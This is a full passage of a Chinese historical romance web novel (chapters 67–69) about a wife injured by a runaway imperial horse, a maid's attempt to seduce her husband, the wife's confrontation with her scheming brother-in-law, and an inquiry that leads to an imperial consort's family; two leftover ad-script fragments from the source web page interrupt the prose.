“当时我和阿玥正往那条街去,谁知就看见那畜生横冲直撞。但到底不是野马,料理它不难,只是忽然又看见赵学士,她的官服颜色显眼。她不会骑马,吓得不轻,也不知道躲,若不是我们赶巧,她只怕命都没了!” 崔为将事情描述了一遍,说得众人间不管真心关切的,还是假意客套的,皆面露惊惧。赵启英只忙将赵维贞扶持住;李氏虽二次听来,亦难脱开女儿的搀扶;谢道元也只倒吸凉气,满心后怕,毕竟露微出事前才与他照过面。 就更不必说谢探微了,心中惊痛压抑不过,化作一记重锤打在墙上,“阿父,你不是去查了吗?那畜生的主家是谁?!是不是就在这太平坊内?!” 晏令白于此间似是最无关紧要的人,他亦从进门起就润饰上了一层秉节持重的面具。唯一的出口只是回答谢探微之前的沉声一叹,还有甫一张口的片刻嘶哑: “你先不要着急冲动,休要再吓着露微。此事发生在皇城近侧,又伤人颇多,除了百姓,也有官吏,已经惊动陛下,不论是谁,定是会有一个交代的。” 崔为将马带回将军府时,晏令白已散朝在家,但紧接着就被传入了宫中。谢探微是时正在紫宸殿外站班,先只知出了惊马伤人的事,直到看见晏令白和京兆尹周崇接连被传召,留心听了殿内议事,才知道露微也是受害者之一。他能够赶回,便是天子因此加恩。 勉强镇定了几分,他又问道:“那畜生身上的鞍辔马镫,还有蹄铁,应该都能查到出处,阿父既见了,就没有一丝线索?” 晏令白却微微蹙眉,将目光转看谢道元,复看向赵维贞,似极慎重,半晌才道:“恐怕是御马。” …… 事情未有定论,况听晏令白提是御马,赵维贞和谢道元便都明白了其中分量,一时不再多议。众人散去,谢探微先送了岳丈一家到厢房歇下,并不就回东院,却是赶着将崔为江玥留住了。 二人已行至门侧阍房,忽见他跑来,以为他又想细问当时情形,却还不及开口,竟见他撩袍跪下了。二人登时大惊,崔为忙要拉他起来,又被他死死摁住了手。 “谢探微,你又没被马撞到,发什么疯啊!” 谢探微却越发严正,从崔为看到江玥,双目通红,“你们救了微微,就等同是救了我一条命,若她今日未有大幸,我便也不会在此了。你们必须受我一拜!” 他们是相交十载的朋友,从前常有笑闹,也不乏正经时,而如今就算已知谢探微夫妻情深,却也万没想到他能做到这般地步,一时都愣住了,终究由他拜了下去。 礼罢起身,谢探微才算恢复了常色,便要继续送二人出门,江玥却叫崔为先去门外等候,反将他又截了一步,也丝毫不作停顿,张口就问: “我其实还是疑惑,先前不知你们赐婚前就相识,可知道了,也不过就是一年余,你为何如此钟情于她?我承认,她生得好看,可你谢探微岂是贪色之人?难道是爱她才思?但你也并非久事书案的文官士人。你究竟喜欢她什么?” 谢探微虽从未将江玥要与他做妾的话放在心上,但也并不能当做从未发生,此刻倒觉适逢其时,该解释分明。 “我初见她,是她犯夜被擒,金吾威严,弓弩上弦,她孤身一人,却敢与我争说严刑立威,与政化之本背道而驰,我居然也觉得她说得对,将她放走。可见,虽法不徇情,亦有化外之民,虽左右不顾,却奈何私心在彼。她是我的化外之民,心中至宝,无关年月浅深。” 江玥沉默了片刻,忽作一笑,大步而去,只抛下句话:“她确实生了张利口,却实在四体不勤,今天吓得像个小脓包,叫我险些气死,你以后还是教教她骑马吧!” 67.有方 露微醒来已将次日五鼓,睁眼便见谢探微守在榻下,虽是一身常服洁净的模样,却是趴着睡着了,眉宇轻拧,又不大安稳。一时不知要不要唤他上榻好睡,却见他忽然身躯一颤,自己醒了。 “我没事,是那安神的汤药太见效,叫我睡过头了。”露微朝他笑笑,抬起左手抚了抚他压出红印的脸颊。 谢探微却不敢出声,目光微有抖动,良晌才举出双手将颊上的手捧了下来,“我想看看,你别动好不好?”她伤在右肩,睡着时肩下垫了软枕,叫人不敢扯动。 露微已自行坐起,其实并不觉痛,一笑,倾去了身子。谢探微早已敛声屏气,拂开她衣领的手也不见颤抖,但只伸去第一眼,便都尽数溃败——那块乌紫的肌肤虽非剥皮削肉的伤口,却如裂玉摧琼,刺心震魄。 “好了,我真的不疼,也不会留疤的。”见他僵得久了,露微自己拽回了衣衫,再看这人,却已满眼泛红,“有件事,我后悔了。” 谢探微发力攥了攥拳,才勉强压下胸口闷痛,“什么?” “就是,你还是食言吧,不用教我学马了。”露微只是为了让他分心别事,“阿玥的身手我一辈子都学不来,来世再做赵将军吧。” 谢探微自还不及说到江玥临走之言,也未必不知露微此时心意,苦笑一叹,轻吻了下她的眉心,“怎样都依你。” 他的神色终于如窗外的天色一般,渐渐清明起来,露微放了心,但不觉想来,这一夜间定是多事的,问道: “阿耶知道了吧?你有没有劝他不要着急?可知道是谁的马了?当时伤了许多人呢。” 此事已成咸京要闻,谢探微没想瞒她,只先将她扶靠枕上,自去外间端了备好的饭食,喂她吃着,才细细说起。 露微听来余事犹可,唯是众人都惊讶的那一件:闯祸的惊马竟是御马。“御马都养在皇城西苑的马坊,由太仆寺典牧署专门管辖。若能现身坊间,应该是陛下赏赐,那典牧署定有记录。” 谢探微点点头,为她揩去嘴角溢出的汤汁,“陛下已命阿父和京兆尹共同核查,阿父也已派了冬至去盘查那条街上的情况,或许能寻到一二证人。” 露微于此并操不了更多的心,便不再问,安静用完了饭,想要更衣去厢房见父亲,谢探微犹豫了片时,却是未曾答应。 “你睡着时,阿耶已来看过你,兄嫂也在。只是你现在去,纵然我肯,阿耶又岂能安心?” 一句话倒是说准了关键,露微本已不愿再劳师动众了,“那么,叫人去传话,说我好了。” 谢探微可喜她听劝,再无不能满足的,很快换了丹渥进来服侍,还是亲自去向尊长请安,“微微,好好等着我。” …… 腿脚弯曲着趴了一夜,心情也紧张了一夜,谢探微走出门外,迎面吹了一阵清凉的晨风,才觉真正身心舒展。又不觉回望房门,嘴唇微抿,呼吸间松松一叹。 “长公子,秋风带寒,当心伤身,多穿一件吧。” 正要拔步,不防身侧忽然出现一个小婢,谢探微竟没听见她来时的动静,愣了片刻才转动眼睛,却发现她手里呈送的一件薄氅,倒是自己昨夜随手放在卧房外间的。 可这小婢的面生,他不认得,也很清楚,露微与他一样不喜人多,能进卧房近身侍奉的,就只有雪信和丹渥二人。 “你是新来的?”他打量着,在脑中苦寻记忆,想她既能入内,便应该是露微提过的,却苦寻无果。 小婢倒是从容,抬眼回道:“奴婢宁婉,上月赵小郎来时,长公子在风亭见过奴婢的。只因夫人身边的雪信也受了伤,奴婢就暂代她几日。奴婢是扬州来的,长公子听不出奴婢的口音?” 谢探微倒记得赵澈来时有个小婢送了花鱼来,却终究对这张脸一无印象,但也不必追根究底了,于是应了一声,伸手去接氅衣,然而手没到,耳先听: “敏识,做什么呢?” 他惊闻转身,一步跃上三阶,“微微!不是叫你好好等着么?” 露微自然是循声而来,含笑挑了挑眉,并不理他,只将目光放去宁婉脸上,见她低眉顺目,已不再作声,便对身后的丹渥递了眼色,将那件薄氅取了回来。 “我来问你冷不冷啊!怕你被风吹走了。” 谢探微听不出话外之音,只觉她才好些就调皮起来,无奈摇头,顺手提来氅衣想要为她披上,却又罢了,想起自己的氅衣于她过重过大,恐要压疼了她的伤处,“听话些,回房等着。” 露微抿唇一笑,不经心地点了点头,只叫他先去,缓缓作势转身,待他身影出了院门,仍在廊下站定,“宁婉,你过来。” 宁婉脚步虚浮,正是要溜开,闻声两肩一耸,脸上顿时褪了颜色,半晌方磨蹭前来:“夫人。” 露微却只是平和地看着她,问道:“你是何时进来取了长公子的氅衣的?” 宁婉颤声回道:“奴婢本守在外头,刚刚公子出来时,门开了半扇,正巧看到了,奴婢只是……” 并不等她解释,露微一笑打断:“多谢你,我却忘了提醒他,你的手脚倒是很轻,进来我都没听见。” “奴婢怕吵着夫人静养。” 露微点点头,仍作浅笑,放了她去,这才转进了房中。丹渥扶她回到榻上,原最是少言寡语的一个人,此刻忽然说道: “宁婉好奇怪,平素奴婢和雪信守门,不听传唤便不会进来,奴婢也说给她知道了,她难道是想偷东西?” 这话却让露微欣慰。丹渥比雪信还小数月,自幼被买卖流转,性子怯懦,到了她身边,也多是谨小慎微的样子。如今倒成长许多,虽说得不准,也算有了些眼力。 “她不会偷东西,她只是和她的主子一样,自作聪明。” 丹渥又疑又惊:“她的主子?她还有别的主子?!” 露微示以嘘声的动作,摇头一笑。 …… 谢探微去到厢房,报知露微安好,赵维贞和赵启英夫妻又随来东院看了一回,见露微果真精神安泰,这才放心,一行人返回自家。谢道元和李氏亲送到门首,又命谢探微一路相送,这桩大事才算一时平稳了下来。 来去也近一个时辰,谢探微回到东院时,却见屋里并没清静,外间摆满了各样礼物,叶新萝正在内室同露微说着话,见他一脸疑惑地进来,忙起身行礼,道: “原是宗亲们听闻了昨日大事,遣人送礼慰问,都是些补身的珍品。还有岐王妃、庆王妃、汝南王妃,是亲自来的,郡主正在花厅相陪。嘱咐不必夫人前去,只叫奴婢将东西送了来。” 谢探微虽没同宗室打过交道,但其中关系还是清楚的,见露微面含懵懂,便知她尚未捋清,一笑走去,揽扶着她道: “岐王是先帝次子,庆王是五皇子,都是今上的胞弟。汝南王则是先帝堂侄,与岐庆二王同辈。因母亲与先帝是堂兄妹,他们便都称一声姑母。可明白了?” 露微成婚近两月,只知谢探微的外祖父,也就是李氏的父亲老忠王,是高宗皇帝的嫡亲兄长,因有大功于社稷,一生备受恩荣,在宗亲中极具威望。 李氏是忠王独生之女,自出生起就封了郡主,而本朝亲王女皆只封县主。开和初年,忠王去世,李氏虽无兄弟扶持,却也承继了父亲的声望,颇受礼遇。 至于其他宗亲,露微一无了解,只是如今看来想来,才算真正明白,李氏身份之贵重,可是说是宗亲领袖了。 “嗯,只是你们家这些亲戚,我怕是一辈子也认不完的。”她向谢探微点了头,又看了看叶氏,“不如写下来我背一背?” 叶新萝与谢探微都一时笑出声来,叶氏言道:“夫人年小,时日一长还有什么怕的?就是郡主当年未出阁时,老王妃教导,郡主亦是缠绕不清,直到有了大娘子,才慢慢好了。” 露微干涩一笑,心里想起来的还是父亲赵维贞说的一句话,谢家人事复杂,“我不怕。” 叶氏见露微开解,事务也已完毕,便不再多说,告退离去。谢探微等她出门,便叫人将外间礼物收了下去,仍陪伴露微左右,这才又说道: “等你伤好之后,我们就回你家去住。” 露微方才不见他作声,原来又是旧话重提,一笑,“回我家,你不怕阿耶天天训你?” 谢探微倒也蹙眉一想,却道:“泰山之下,甘为鸟卵,你上次不还说泰山会重重有赏吗?想来不会训我。” 他倒是会傍人门户,拾人口舌,露微倒不能反唇了,白了他一眼,仍歪回枕上拣了书看,“那你自己去游泰山吧。” 谢探微见她动作略大,忙又陪笑附上来,在她身侧扶持,柔声哄道:“微微,我只是不想你烦那些外务,反正我也不认识。” 露微侧脸望他,忽然举书敲了下他的脑袋:“那就留下来,一起认识认识。” …… 第二日,不想杨淑贤也来探望,身畔还牵着赵澈,乔晴霞也随了赵澈而来。她们自不同那些贵客远亲,倒是让露微宽心。最可喜,乔氏竟买了萧家馄饨来,她都有数月不吃了。 谢探微见她们在内室热闹,自己便回避出来去了亭上等候,心里只想一件事。便是他才知露微也有偏爱的饮食,而这驰名咸京的萧家馄饨,其实就是甘州的馄饨饼,也是他自小最爱。 “长公子不若去书房稍歇用些茶点,夫人她们恐还要许久呢。” 他正想从前疏忽,以后要怎么安排露微的饮食,却不意又见昨日送衣的小婢拾级而上,也来至亭中。 “是夫人叫你过来传话的?”他这回知道这小婢是替雪信代职的了。 宁婉却是一笑,绕过几案,近至他身侧,才道:“夫人母家来人,不用夫人提点,奴婢也是知道的。长公子不常在家,夫人忽然出了这样的大事,公子心中必然愧疚,奴婢是想来劝劝公子的。” 情理倒是充分,只是谢 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 探微瞧她举动神态,忽觉哪里不对,又描摹不出,站了起来,向亭外一指:“我不用你在这里,你去备着夫人传唤就是。” 宁婉神色僵了僵,仍未挪步,又道:“奴婢从前只做些洒扫的事,手脚粗笨,从未近身侍奉过主子,所以夫人怕是不喜,只让奴婢守在外头,夫人不会用奴婢的。” 方才尚算词句恳切,这下却偏远了,谢探微瞬间醒过神来,想露微何尝是刻薄待下的人,只怕也同他一样,根本不熟悉这个小婢,于是不由生出些恼怒,但才要开口,叶新萝忽至,一面上阶就将他的话说了出来: “你倒敢说!公子不知,就当没人知道了?!亏得是夫人赞你聪慧,我才叫你替几日差,你竟敢在公子面前狐媚弄舌?!” 自叶氏出声,宁婉便已腿软不支,此刻早已瘫倒在地,求告也不敢,满脸惨白。 叶氏原只是奉了李氏之命,这些时日常来照应,谁知才进院门,一抬眼就瞧见亭上奴婢作态。以她的年资眼力,不必听音便知长短,当即就赶了过来。 谢探微见状,半懂不懂,问道:“叶娘,她到底是谁啊?微微难道有什么事瞒我?” 叶氏便暂收了怒目,向他一叹,先将宁婉如何代职之事说了,“是奴婢不当心,不想我们府里还有这种人!不过大郎啊,你也是要长些心眼,她这般献媚,你还看不出?若叫夫人瞧见,岂不生你的气?再叫家翁知道又怎么办?” 谢探微先只恼她敢说露微闲言,这才恍然明白还有这一层意思,又怒又愧,“赶了她走!”说完,甩袖而去。 叶氏望着又作一叹,想谢探微果是心性朴直,难免后知后觉,叫小人钻空。只是她也知,宁婉是扬州带来的,怎会不知谢家的家风,岂有妾婢惑主的事?但有子弟敢行此事,发落妾婢还是常事,那历代家主就先将子弟逐出门外了。实在也是不可思议! …… 露微知晓宁婉之事,正是此日傍晚,刚刚作别了淑贤等人。除了是谢探微主动交代,也从李氏那处听到了消息,宁婉已被看押,不日就要遣返扬州。 她自然是惊讶的,但也只是为李氏迅速的处分,更为宁婉的急功近利——她本以为,宁婉既是受命而来,先前送鱼送衣的都应只是铺垫。况且她已防备,不过是因宁婉毕竟尚无大错,又是扬州家奴,被李氏安排在东院。若无故遣走,难免惊动李氏过问,落到旁人口中,便又是她刻薄多事,辜负李氏心意了。 所以,她已如此留了余地给宁婉,宁婉和其主人何不从长计议?竟却是如此直白表意,又在那不背人的高处,即使今天不遇叶娘,也是为期不远。那么,究竟是宁婉自负,还是主人计左? 思量至此,露微宁愿相信是自己高看了那蠢货。 “微微?” 自将事情说了,谢探微便同当真犯了错般静立一旁,久不见她发落,又看不懂她平静的神色,难免心中忐忑。可不意,她竟很快应了,还抬头一笑: “我没有生气。” 谢探微却松不下气,反又倒吸了口气,终究不堪分辨她的心意,屈膝蹲在了她的身前,问道:“阿玥说那样的话,你不生气,如今又……你若不是忍着,便是不在意我了?” 他仰着面孔一片虔诚,出口之言却是一派稚气的傲慢,露微听得一愣,旋即笑出声来,两肩颤抖,不由扯得背后隐痛,皱起眉来。 谢探微才急了,忙将她扶稳,气息微促,又不忍地问道:“微微,你到底在想什么?成婚以来,我常常会想,我不在的时候你在想什么,你不说话的时候在想什么。明明风雨已霁,我反而患得患失,从前就算许久不见你,也不会如此。” 露微再无心取笑,却是为他这番心声忽觉心疼,“谢敏识,如今这般,是否就是你从前想要的?风雨已过,高堂俱在,兄弟无故,天伦相依。” 谢探微笃然点头,很快又摇了头:“我还要你平安无恙。是因为你才会有这些,没有你,便是有这些,想来也无味。” 露微舒气一笑,倚进他怀里,“那我就替你守着吧。” “替我?”谢探微一蹙眉,轻轻捧正她的脸,见她双目盈盈,如春波软荡,不觉心中怜爱,“微微,你其实还是委屈的,对吗?你善待那宁婉,她却忘恩负义。” 露微轻声一笑,仍倚回他肩上,“我无委屈,我刚刚只是在想,母亲治家有方,但并不严刑立威。宁婉行为失当,若放在别家,也许就是棍棒加身,要了命也未可知。” 李氏慈悲,谢探微自然深知,一时便再无疑心。但转一回味,倒想起个“严刑立威”的典故来,笑道: “我初见你,你与我唇枪舌剑,就说金吾执法为立威,不能令你信服。看来,你那时便已想好了要如何替我理家了。” 露微轻哼了声:“少自作多情了,我那时就是看你没有陆冬至聒噪,诓你一把罢了!” “那我也不亏,你诓了我三月俸钱,然后赔上了自己。” 68.明来 静养过数日,露微右臂已能如常活动,便劝了谢探微入宫谢恩复职。只是临去前,谢探微倒先被晏令白唤去了一回,原以为是惊马之事有了着落,不料,却是件大喜事: 杨司业同意了陆冬至的求亲,不要他入赘,也不要他另备聘财,竟早是默认了那把短刀为聘,只需要晏令白作为尊长与杨家堂堂正正过了六礼便可。 晏令白叫谢探微前去,便是因他只与冬至商议了,却一无透露给自己,忽见杨君游登门传话,难免吃了一惊。可谢探微也没想到杨家能如此痛快,他与露微为冬至准备的聘礼还没理完。 等谢探微将喜讯带到露微跟前,二人竟比自己成婚还激动。说到冬至如何反应,先吓得不行,躲在房里,被谢探微和崔为合力拖出来,险将门板拆了。好不容易抬了头,又被晏令白拉去审问,竟听他说是因饼餤结缘,把众人笑得个个捧腹。 总之,陆冬至虽然没有父母,却一直都是有家的。 …… 夫妻一夜兴奋少眠,露微次日醒来,枕边人早已上职去了,留下许多叮嘱,叫雪信丹渥在耳边好一通念叨。但她不过听个音,既有此大喜,自是要去杨家走一趟的。 然而,并不及她更衣理妆,李氏忽然降临了东院,一道同来的,还有谢探渺。见母女面容都还和煦,应是探望之意,但她也不免留心,想谢探微昨天来往将军府不是秘事,淑贤婚姻已定的消息大概也已传到了谢家。 可令她意外的却是,在问过她的伤势之后,李氏将话端转到了宁婉的事上,说宁婉今早已被遣送上路。此事结果日前早定,她从知晓时便是不打算置喙的,如今却不得不回应了。 “内政人事本就是母亲做主,竟劳烦母亲亲自来说,倒是露微的不是了。”她这话有一半时都是瞧着谢探渺说的,倒见长姊平静,便浅浅一笑。 李氏摇了摇头,将她双手牵住,怜恤地道:“你尚未过来时,我便知你省事,大郎也不喜人多,所以这院中不过安排了十数个洒扫帮杂的婢仆,只为叫你们自在。只是不想人数已这样少,还免不得心思旁杂的,是我叫你受委屈了。” 自谢家来求亲那日,李氏亲到闺房看她,说了那番肺腑之言,再到这一二月间的见闻,她对李氏实则一直是受宠若惊到有些不敢过于亲近的心态。也会因此偶然对比从前华氏的作为,更觉无措,思之报答,也好像无力。 “我都还不大认识她呢,母亲便替我发落了,又何来委屈?”她只有回以不是实话的实话,干涩一笑。 “快别这么说,若要等你为这种婢子生气,那就不是在谢家了。”谢探渺寻到了插话的机会,笑意自嘴角熟练地衔来,精致流转的目光波动出款款的恳切: “只是你啊,一味坦直,却不是理家的道理。你能三言两语解了大郎的军务之难,怎么倒轻视身边人的约束呢?便知凡事由小见大,那你也该先知细微,方能见大,不是吗?” 她似不着痕迹的含沙射影,引经据典说得颇是堂皇而体面,露微倒是有些佩服。那么,便继续坦直就是了,于是笑道: “我虽是理家极早,可我家人事简单,便难免学得本领单薄了些。所以后来遇人不淑,也早出过这桩秦女窥人,攀花趁蝶的孽债。只是我如今寒灰重燃,不仅母亲待我慈甚所生,就连长姊也与我推心置腹,我便又不免怠惰了。” 方提到孽债二字,谢探渺的脸色已如黑云压下,似乎连气息都短了一阵。露微都细细收入余光,只去承奉李氏的一片真情: “母亲,我是很满足的,大郎也没有让我委屈,请母亲千万宽心,更无须自责。” 李氏从速处置宁婉,又亲来表达歉疚,其实正是有鉴于露微的前事,而这也是她掌家近三十年来从未出过的事。她叹息着抬手抚了抚露微的脸颊,眼中已有泪光: “母亲向你保证,今后绝不会再有此事!” 露微诚然是不担心的,笑着点点头,却也同时也暗叹了口气:她已在谢探渺面前明提过一次早嫁,今日又重提,虽然两次都赢得立竿见影,但也只是顺势而为,就若恃宠而骄,恃才傲物,实在不算什么高明的手段。 但恐怕,谢探渺正以为她有如此高明,有如此狠心,亦有如此轻浮,拿着自己青春的伤疤戏谑调侃,周而复始,当做续燃的柴薪,当做久旱的甘霖,也当做登堂的妙道—— 原来,人心不须十分恶,便可百倍薄。 …… 露微此日未再出门,午后稍歇便往沈沐芳的居处去了。杨家已经允了女儿的婚事,却尚不闻儿子的着落,想必正两处失意。她实在先该探探这失意的苦主。 沈沐芳的院子与东院不过隔了一角后园,午后静和,少见人走动,她独自前往,脚步本轻快,却不防假山交掩之处,忽听一声低斥,便驻足于石隙间窥探,竟却是姊弟私语。 她犹豫了片刻,没有继续走开。 “我告诉你二郎,天大的委屈也使不得这些下作的法子!那宁婉最好不是你唆使的,否则叫父亲知道,将你赶回扬州都是极轻的!再要叫赵露微知道呢?!” “阿姊怎么就判我的罪了呢?我院里一个婢子也没有,不过几个个小奴,我自己无依无靠的,哪还管得了他们的亲戚?真的与我无关!就是那婢子自己不知廉耻,痴心妄想。” 露微侧耳听了几句,原来还是同一件公案,只是这刑官虽是推鞫得情,深晓利害,却实在处断不清。倒也怪那犯人,道理兼备,地利人和,只需摆出事实就胜强辩。 “此事也罢,我只是提醒你晓得分寸。就说赵露微受伤这件事,虽是吓人,却赚足了体面,自家且不说,宗亲的礼也到齐了,还有陛下和太子赐药问候。如此恩宠,难怪她当着谁都是口无遮拦,所以你若当真叫她拿住,她动动嘴就能收拾你。” 露微不禁心里感慨,不想长姊还能算是个知己。只是这心爱的幼弟应该不会告诉她,其实自己早已被人动嘴收拾过了。而果然,接下来的话音便急促起来: “行了阿姊,我知道了!我便不被她拿住,她也已经将我踩在脚下了。先前阿娘要为我聘的杨家女,听说已经被许给阿兄身边那个陆冬至了。她为长嫂,又受父母宠爱,不帮我也罢,却转眼就去帮外人,阿兄未必不知,却也同她一样。” “杨家与她是什么关系?她便帮你,你倒敢娶?大郎自然什么都听她的,你也想?罢了,我先去了,梦郎和徽儿该午睡醒了。你近日就安生些吧!” 意料之中的事终于如期而至,而且是亲耳听到,露微有一瞬凝神,旋即淡淡一笑。此后便没再听见姊弟交谈,她凑近石隙察看,那边道上果真就只剩谢二郎呆呆站着了。 和才来时一样,她迟疑了片刻,转身绕道—— “二郎原来和我一样,都没有午憩习惯。”她清泠泠的话音在静谧的小径间忽然传扬,于那人却有轰雷之响。 谢探隐已无暇掩饰面上惊愕,半晌才颤声试问:“长嫂的身体已……已经可以,随意走动了?” 露微掩唇一笑,“宁婉难道没有告诉你,我并没伤在腿脚,一直都是可以随意走动的?”见他腿脚一软,猛地向后顿步,便又笑着上前补上了这一步: “或者宁婉还不及告诉你,就已经被你害了?谢探隐,背后诋毁弄计是你唯一的招数了吗?你是打量晏将军警告你的事我不会知道,还是说,你连长姊的话也不能相信——不信我动动嘴就能收拾得了你?” “你……赵露微,你……”他的惊慌、难以置信,甚至是自以为破釜沉舟的勇气,都混在了一块,却又不知何以发出,终究溃不成军:“我是谢家子,你不过是个外姓人!你未必还能杀了我?!” 露微皱了皱眉,似在思索对策,目光却将他从头至脚来回端量,一咂嘴,道: “我可不想要你的命,只是你如此苦恨于我,倒是忽然令我疑心,我此番受伤,那匹疯马,难道竟是你安排的不成?” 露微自然知道那是御马,不可能是谢二郎所为,果见他早无血色的脸上又险些滚落眼珠子,呼出的气息都拧结了: “谢探微难道没有告诉你那是御马?谁会相信你这般的诬陷?!” “谢探微三个字也是你配叫的?!”紧接着他的话,露微再不假以辞色,抬手一指,瞪视就道: “我就这般诬陷你又怎样?我只要一提,自有人来问你,便是没个结果,也可叫你吃一顿官司。你不信就试试,不必到京兆府,单是父亲面前,你就逃不过!” 露微最开始发现二郎异心,还并不自信能拿住他,可如今她突然发现,身在其中却是可以另辟蹊径,没有必要再放纵下去。于是,趁热打铁: “我早就知道宁婉是你的人,她自荐近身服侍,我便说她盗窃房中财物,又有何难?这是同样的道理,就算查无实据,她也呆不下去。可我不愿给一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 个小丫头泼脏水。你呢?她兄长自小服侍你,你却拿他妹妹的清白来垢污你的兄长,你这样的主子,你这样的人,永远都不配和你阿兄相提并论!” 谢探隐已不堪重负了,呆滞的目光茫然四顾,始终不敢抬向正前方。而露微顾着毕竟在家中,声音虽铿锵顿挫,却实在并不高亢,此刻点拨已毕,舒然一笑: “谢探隐,你做过的所有事,尽在我的掌握,你可以仍不悔改,却也要时刻记着,此前的每件事都是你的死穴。除非,你连‘谢家子’的身份也不需要了。” …… 将谢二郎如敝履般丢在后园,露微仍往沈沐芳院中去了。到时却巧,她正坐在亭中抚琴,露微虽不通音律,却一则瞧得懂她脸上郁色,二也看得出她动作懒散,不过是发泄。 “表嫂这时候怎么过来了?” 见露微走近,凤梅方提醒了沈沐芳,她淡淡一笑,并不掩饰,携了露微坐下,一手撑腮,道:“我以为表嫂此刻会在杨家呢。” 露微与她熟了,知她拐弯抹角,也一轻笑:“本来是想去看看贤儿,但转念一想,她长嫂尚且屈居此间,我执柯未成,心有愧疚,岂能不来请罪?” 沈沐芳轻哼了声,眉目一撇,“不成就不成吧,表嫂也不必再费心了。”缓缓却又说:“我就不懂,为什么杨家只认我是谢家亲戚,我明明就姓沈,家里没一个正经做官的,哪一点比杨家高了?”音不及落,再三又道:“难道已遣人去苏州打听了,知道我家十分不济,所以也同表姊一般,瞧不上我家?” 露微见她把一圈话都说周全了,好笑又无奈,但一时也不能确定。想了想,不免先将刚刚教训谢二郎的事说了一遍,好歹也算是件快事,与她分分愁心也好。 沈沐芳听来果觉爽快,长舒了几口气,道:“他既不敢明着撕破脸,你也很该如此。只是我想,其实家宅之内,血亲之间,未必有人心一齐的,你只看我家便是了。” 露微未必不知,抬手随意拨了两下琴弦,闷沉如锤,颇是难听,“乐律定音尚有五音十二律,遵其律才能出妙曲。我从不指望人心一齐,人心,机也,择之在人。” 沈沐芳凝视着露微,伸手覆住了她弦上手背。 露微瞧她一笑,反掌压下她的手:“好事,多磨。” …… 谢探微因已牢记露微喜食萧家馄饨,这日下职便兴冲冲去买了带回来。其实露微早听他提过“甘州的馄饨饼”,只是也到如今才知,他们竟是同好。 “那是甘州的好吃,还是咸京更佳?” 两人对吃对谈,露微不免好奇,又想他第一次提到时,是晏令白生病时露微问起晏令白的妻儿,他提到了一个女子,“你在甘州吃的,都是你义母亲做的?” 谢探微略皱眉一想,道:“也吃过市卖的,却不如她做的,也比咸京的好吃。只是微微,我不知道她是不是阿父的妻子。” 露微倒不像他认死理,说道:“不是妻子也是恋人,不然总找阿父做什么?她也算养过你两年,叫声阿母不亏你。” 两次都是露微提起,谢探微才有所思忖,只是长辈的私事本已久远,能想起来的都是细碎的记忆: “真论起来,她于冬至更有养育之恩。阿父将冬至抱回来时,才两三个月,军中岂是养婴儿的地方?我去甘州时,就听闻还有个孩子,却是养在外头的。只是冬至四岁时就跟回阿父了,因为她走了,我再也没有见过她。” 露微听来是更加肯定了,道:“那你就半点也没问过阿父?她是谁,又去了哪里。”见他仍皱眉,又问:“那父亲呢?他和阿父不就是在甘州认识的吗?” 谢道元早年初入仕途,便是甘州军内的仓曹,晏令白那时也只是一个营主,两人都不到二十岁,也都未成家。如此深厚的交情,定应该是清楚彼此经历的。 然而,谢探微还是愣愣地摇了头:“微微,我……我怎么会问父亲这些事呢?” 倒一时忘了这人与父亲的关系,便是如今缓和许多,也还不像寻常父子般,“算了,闲聊而已,不必追根究底。” 谢探微淡淡一笑,将她揽了过来,提起自己碗中木勺喂了她一口,“将来寻个机会,我带你去甘州,好不好?” 露微从未离开过咸京,想甘州是他长大的地方,有他二十年的过往,自然心向往之,“在甘州安家?” “只要你在,哪里都是家。” 69.贵妃 惊马伤人的案子虽是发生在皇城近侧,但说到底也是坊间之事,所以皇帝即使是命晏令白与京兆尹周崇同查,牵头办案的却是周崇。这是根据二人职责分定的,金吾重在宿卫擒拿,京兆府则是管理京师大小庶政。 然而,这件皇帝过问的要案,过了近旬日都没出一个实在的结果。就算皇帝因其他国政大事并没有时时追问,晏令白也因露微受伤的这一点私心,时时关切,渐生狐疑。 起初,晏令白就令陆冬至在事发街头寻找证人,却未有一人瞧见马从何来,便又扩大到周围街巷。可等偌大一个太平坊都查问完了,却还是一无所获。 总不能,区区一匹马,单自己就能找准了地方,长途跋涉而来?虽也不能认定马的主人就在太平坊,可必是主人将它带出,才有此事。这人越神秘,就显得马的惊疯越奇怪。 晏令白于是便将此情与周崇沟通,但周崇却也向他犯难,说典牧署的长副二吏近日都要住在京兆府了,依着那马的年岁品相,翻遍了记录的簿册,却没有找出一家对应的。 这周崇是杜石羽罢免后才任职京兆的,晏令白对他的为人并不熟悉,所以不免先以小人之心量度,恐周崇是畏惧权贵,不敢执法。毕竟涉及御马,主人身份定不会低,在咸京做父母官,常常也是牵一发而动全身。 可晏令白不能单凭猜测就直接反问,思之再三,只能另辟蹊径。一则,金吾也派人再详查典牧署簿册;二来金吾尚有天子独予的暗查百官之权,就去暗中盯紧周崇的动作,若他当真隐瞒,必是已知马主人身份,当与之有交涉。 而果然,不到两日,竟真的从暗查中发现了线索,但这线索也叫晏令白惊了一惊:周崇的私宅去了一个不当与之有往来的人,后宫紫兰殿内官王弘俦。 如此特殊的人在查案的关口出现,只能是与案件相关。便继续顺藤摸瓜,晏令白才恍然得知,周崇虽仕途平常,甚至还做了十年的下州小吏,但却是紫兰殿周贵妃的兄长。 再推之,周崇为保护亲妹自然舍得下工夫,可周贵妃深居后宫,竟会插手坊间惊马案,也只能是要维护什么人—— 今上长子吴王李循、长女鲁阳公主,皆是周贵妃所生。李循才十二岁,尚未婚冠开府,但大公主年已十九,十五岁出降,如今正居驸马丧,公主府就在太平坊以西的延寿坊。 没想到,这一匹惊马竟牵扯了后宫的人事,便就不止是判案拿人那般简单了。于是,晏令白先与谢道元作了商议,谢道元是右相,所有国政要事都是他职权之内。 书房内,才将缘故听罢的谢道元果然露出一脸肃容,说道:“我虽是去岁才到咸京,可关于这位鲁阳公主的事,却是听了不少。纵马游行市里,恣意不法都是常事,但没有闹到如今地步,宪台偶有弹劾,也都湮没,这其中大约就有周贵妃的缘故。” 晏令白不由哼声,想这祸事果然是有前因的,“陛下修文德,重礼教,若知晓此事,必迁怒周氏一族。然则,周崇如此掩盖,难道还能有旁人来顶罪?马是御马,总无可掩盖。” 谢道元深深地看了他一眼:“昭清,我于此事亦同你心,先稍安勿躁。”见晏令白叹了一声,脸色稍解,方继续道: 